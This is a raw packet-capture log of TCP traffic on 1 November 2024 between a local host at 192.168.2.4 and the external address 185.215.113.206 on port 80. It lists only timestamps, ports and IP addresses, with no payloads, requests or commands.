Nov 1, 2024 05:52:34.419248104 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419343948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419368982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419379950 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419392109 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419420958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419451952 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419492006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419495106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419503927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419529915 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419542074 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419656992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419682026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419692993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419703960 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419713974 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419735909 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419769049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419783115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419792891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419811010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419816017 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419838905 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419863939 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419867992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419887066 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419902086 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419909954 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419913054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419930935 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419938087 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419939041 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419956923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419962883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419975042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419980049 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419986963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.419996023 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.419998884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420011997 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420011997 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420025110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420030117 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420042992 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420059919 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420069933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420069933 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420088053 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420095921 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420099974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420109034 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420125008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420129061 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420144081 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420145988 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420154095 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420166969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420176983 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420178890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420191050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420212984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420214891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420227051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420233011 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420238018 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420243979 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420249939 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420258045 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420262098 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420279026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420281887 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420300961 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420303106 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420315027 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420319080 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420326948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420341969 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420346022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420352936 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420358896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420372009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420378923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420397997 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420422077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420425892 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420439005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420449972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420461893 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420468092 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420496941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420506954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420517921 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420550108 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420552015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420562029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420586109 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420589924 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420598030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420614004 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420623064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420634031 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420636892 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420646906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420658112 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420675039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420681000 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420692921 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420696974 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420705080 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420718908 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420718908 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420742035 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420744896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420749903 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420758009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420764923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420768976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420779943 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420783043 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420794010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420804977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420804977 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420816898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420825958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420829058 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420839071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420840979 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.420867920 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.420891047 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.421246052 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421272993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421283007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421293020 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.421303988 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.421319008 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.421325922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421338081 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421353102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421369076 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.421391964 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.421529055 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421540976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421550989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421574116 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.421587944 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.421808004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421819925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421828985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.421853065 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.421874046 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422027111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422075987 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422091961 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422103882 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422138929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422138929 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422152042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422177076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422184944 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422187090 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422198057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422220945 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422224998 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422230959 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422236919 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422246933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422260046 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422265053 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422276020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422280073 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422287941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422295094 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422317982 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422322035 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422333002 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422343016 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422355890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422359943 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422369003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422377110 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422384977 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422396898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422408104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422410011 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422419071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422445059 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422466993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422564030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422581911 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422591925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422609091 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422621012 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422631025 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422632933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422661066 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422662973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422673941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422682047 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422693014 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422712088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422729969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422743082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422764063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422777891 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422777891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422790051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422807932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422815084 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422827005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422832012 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422837019 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.422856092 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.422883034 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.463442087 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.463460922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.463470936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.463541985 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.463696957 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.504796982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.504808903 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.504818916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.504823923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.504872084 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.504898071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.504961014 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.504971981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.505012035 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.505146980 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.505158901 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.505167007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.505194902 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.505207062 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.505333900 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.505342960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.505388021 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.505489111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.505506039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.505532980 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.505544901 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541191101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541203022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541213036 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541224003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541234970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541244984 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541254997 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541265965 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541268110 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541316032 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541337013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541354895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541366100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541376114 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541377068 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541389942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541402102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541404009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541414022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541430950 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541450024 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541480064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541491985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541520119 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541543007 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541637897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541649103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541660070 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541671038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541676998 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541683912 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541695118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541695118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541709900 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541721106 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541726112 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541738987 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541764975 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541805029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541816950 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541826963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541846037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541872978 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.541963100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541979074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.541990042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542000055 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542002916 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.542011976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542023897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542027950 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.542057037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.542098999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542109966 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542119980 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542131901 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.542135954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542155981 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.542179108 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.542263985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542275906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542284966 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542295933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542301893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.542308092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.542320967 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.542349100 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.637281895 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.642841101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.923820972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.923837900 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.923918962 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.923918962 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.923985958 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.923999071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924010038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924021006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924032927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924034119 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.924034119 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.924045086 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924057961 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.924099922 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.924141884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924174070 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.924247980 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924258947 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924271107 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924282074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924297094 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924310923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924334049 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.924372911 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.924374104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924410105 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924417019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.924422979 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924434900 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:34.924446106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:34.924447060 CET	80	49760	185.215.113.206	192.168.2.4
